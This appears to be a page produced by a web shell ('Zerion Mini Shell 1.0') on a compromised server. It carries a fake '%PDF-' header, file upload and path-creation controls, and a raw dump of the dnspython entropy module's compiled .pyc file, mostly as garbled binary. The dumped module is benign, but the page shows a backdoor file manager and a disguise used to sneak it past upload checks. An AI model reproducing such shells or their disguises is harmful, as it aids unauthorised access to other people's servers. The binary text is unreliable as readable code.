%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/dns/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/dns/__pycache__/entropy.cpython-312.pyc

�

5��e�����UddlZddlZddlZddlZddlZddlmZmZGd�d�Ze�Z	eee
d<	ej�Zdefd�Zded	edefd
�Zy#e
$rdZY�wxYw)�N)�Any�Optionalc��eZdZddeefd�Zdeddfd�Zdeddfd�Zdd�Zde	fd	�Z
de	fd
�Zde	fd�Zde	d
e	de	fd�Z
y)�EntropyPoolN�seedc�^�d|_d|_d|_tj�|_t
j�|_d|_	td|jz�|_|�2|j|�d|_
tj�|_yd|_
d|_y)Nr��TF)�
pool_index�digest�	next_byte�	threading�Lock�lock�hashlib�sha1�hash�hash_len�	bytearray�pool�_stir�seeded�os�getpid�seed_pid)�selfrs  �-/usr/lib/python3/dist-packages/dns/entropy.py�__init__zEntropyPool.__init__ s������+/�������N�N�$��	��L�L�N��	���
��e�d�m�m�3�4��	����J�J�t���D�K��I�I�K�D�M��D�K��D�M��entropy�returnc���|D]]}|j|jk(rd|_|dz}|j|jxx|zcc<|xjdz
c_�_y)Nr��)rrr)rr �c�bs    rrzEntropyPool._stir0sW���	!�A����$�-�-�/�"#����D��A��I�I�d�o�o�&�!�+�&��O�O�q� �O�	!rc�h�|j5|j|�ddd�y#1swYyxYw�N)rr)rr s  r�stirzEntropyPool.stir8s*��
�Y�Y�	 ��J�J�w��	 �	 �	 �s�(�1c��|jr!|jtj�k7rZ	tjd�}d|_tj�|_d|_t�}|j|�yy#t
$rs	t
ddd�5}|jd�}ddd�n#1swYnxYwn:#t
$r.ttj��j�}YnwxYwY��wxYw)N�z/dev/urandom�rbrT)rrrr�urandom�	Exception�open�read�str�time�encoderrr)rr�rs   r�_maybe_seedzEntropyPool._maybe_seed<s����{�{�d�m�m�r�y�y�{�:�
5��z�z�"�~���D�K��I�I�K�D�M��D�K��T�?�D��J�J�t��;���
5�5��n�d�A�6�*�!� �v�v�b�z��*�*�*�� �5��t�y�y�{�+�2�2�4�D�5��	
5�sM�B	�		D�
C� B;�2	C�;C	�C�D�4C?�<D�>C?�?D�Dc��|j5|j�|j�|j|jk(rx|j
j
t|j��t|j
j��|_|j|j�d|_|j|j}|xjdz
c_ddd�|S#1swYSxYw)Nrr$)rr5rr
rr�update�bytesrrr)r�values  r�random_8zEntropyPool.random_8Ls���
�Y�Y�	 ������{�{�"�d�n�n��
�
�&E��	�	� � ��t�y�y�!1�2�'��	�	�(8�(8�(:�;����
�
�4�;�;�'�!"����K�K����/�E��N�N�a��N�	 ���	 ���s�CC3�3C=c�J�|j�dz|j�zS)N�)r:�rs r�	random_16zEntropyPool.random_16Xs���}�}���$�t�}�}��6�6rc�J�|j�dz|j�zS)N�)r>r=s r�	random_32zEntropyPool.random_32[s ���~�~��%�'�$�.�.�*:�:�:r�first�lastc���||z
dz}|dkDrtd��|dkDr|j}d}n"|dkDr|j}d}n|j}d}|||�z|dzzzS)	Nr$lztoo bigr@l��r<i��r#)�
ValueErrorrAr>r:)rrBrC�size�rand�maxs      r�random_betweenzEntropyPool.random_between^su���e�|�a����*���Y�'�'��%�<��>�>�D��C�
�C�Z��>�>�D��C��=�=�D��C��t�d�f�}��q��1�1�1rr()r!N)�__name__�
__module__�__qualname__rr8rrr)r5�intr:r>rArI�rrrrs{���X�e�_�� !�U�!�t�!� �E� �d� �� 
�#�
�7�3�7�;�3�;�
2�C�
2�s�
2�s�
2rr�
system_randomr!c�b�t�tjdd�Stj�S)Nrr@)rO�	randrangerr>rNrrr>r>ws(��� ��&�&�q�%�0�0��~�~��rrBrCc�l�t�tj||dz�Stj||�S)Nr$)rOrQrrI)rBrCs  r�betweenrS~s2��� ��&�&�u�d�Q�h�7�7��"�"�5�$�/�/r)rr�randomrr2�typingrrrr�__annotations__�SystemRandomrOr.rMr>rSrNrr�<module>rXs���$�	�
��� �Q2�Q2�h�}����}���'�F�'�'�)�M�
 �3� �0�3�0�c�0�c�0�����M��s�A�A$�#A$

Zerion Mini Shell 1.0